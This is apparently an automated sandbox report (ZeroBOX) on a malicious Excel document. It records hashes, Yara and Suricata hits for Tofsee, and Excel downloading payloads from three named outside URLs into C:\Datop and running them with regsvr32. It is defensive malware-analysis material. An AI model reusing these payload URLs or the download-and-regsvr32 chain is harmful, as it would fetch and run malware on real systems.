Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 5, 2021, 9:42 a.m.	Nov. 5, 2021, 9:44 a.m.

Size	109.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Nov 4 14:50:52 2021, Security: 0
MD5	`4309aadc0b51d58084832e45cba1e1dd`
SHA256	`d95e4db41491553a949254cc47b3f93a310fda6bd7f93e32e2d086af5427914a`
CRC32	`06E494EB`
ssdeep	`3072:JKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgiMjmwHAfvperDmW:JKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgiU`
Yara	Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\index-295687290.xls
2324
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\good.good
  2540
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\good1.good
  2580
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\good2.good
  2620

Name	Response	Post-Analysis Lookup
imprimija.com.br	A 108.179.192.18	108.179.192.18
stunningmax.com	A 23.111.163.242	23.111.163.242
decinfo.com.br	A 108.179.193.34	108.179.193.34

IP Address	Status	Action
108.179.192.18	Active	Moloch
108.179.193.34	Active	Moloch
164.124.101.2	Active	Moloch
23.111.163.242	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 108.179.193.34:443 -> 192.168.56.103:49165	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49173 -> 23.111.163.242:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49171 -> 23.111.163.242:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 23.111.163.242:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49171 -> 23.111.163.242:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49171 -> 23.111.163.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 23.111.163.242:443 -> 192.168.56.103:49173	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 23.111.163.242:443 -> 192.168.56.103:49173	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 23.111.163.242:443 -> 192.168.56.103:49171	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49167 -> 108.179.192.18:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49172 -> 23.111.163.242:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 23.111.163.242:443 -> 192.168.56.103:49171	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 23.111.163.242:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 23.111.163.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49168 -> 108.179.192.18:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 23.111.163.242:443 -> 192.168.56.103:49172	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 23.111.163.242:443 -> 192.168.56.103:49172	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49162 -> 108.179.193.34:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49164 -> 108.179.193.34:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 108.179.192.18:443 -> 192.168.56.103:49169	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (5 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2324 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bd28000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2324 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b072000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c201000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c201000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c201000 process_handle: 0xffffffff	1

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\good.good
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\good1.good
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\good.good
cmdline	regsvr32 C:\Datop\good1.good
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\good2.good
cmdline	regsvr32 C:\Datop\good2.good

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Nov. 5, 2021, 9:42 a.m.	process_identifier: 2324 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef60000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Return
URLDownloadToFileW Nov. 5, 2021, 9:42 a.m.	url: https://decinfo.com.br/s4hfZyv7NFEM/y9.html stack_pivoted: 0 filepath_r: C:\Datop\good.good filepath: C:\Datop\good.good	2148270085
URLDownloadToFileW Nov. 5, 2021, 9:42 a.m.	url: https://imprimija.com.br/BIt2Zlm3/y5.html stack_pivoted: 0 filepath_r: C:\Datop\good1.good filepath: C:\Datop\good1.good	2148270085
URLDownloadToFileW Nov. 5, 2021, 9:42 a.m.	url: https://stunningmax.com/JR3xNs7W7Wm1/y1.html stack_pivoted: 0 filepath_r: C:\Datop\good2.good filepath: C:\Datop\good2.good	2148270085

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe	martian_process	regsvr32 C:\Datop\good.good
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\good1.good
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\good.good
parent_process	excel.exe	martian_process	regsvr32 C:\Datop\good1.good
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\good2.good
parent_process	excel.exe	martian_process	regsvr32 C:\Datop\good2.good

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe

index-295687290.xls

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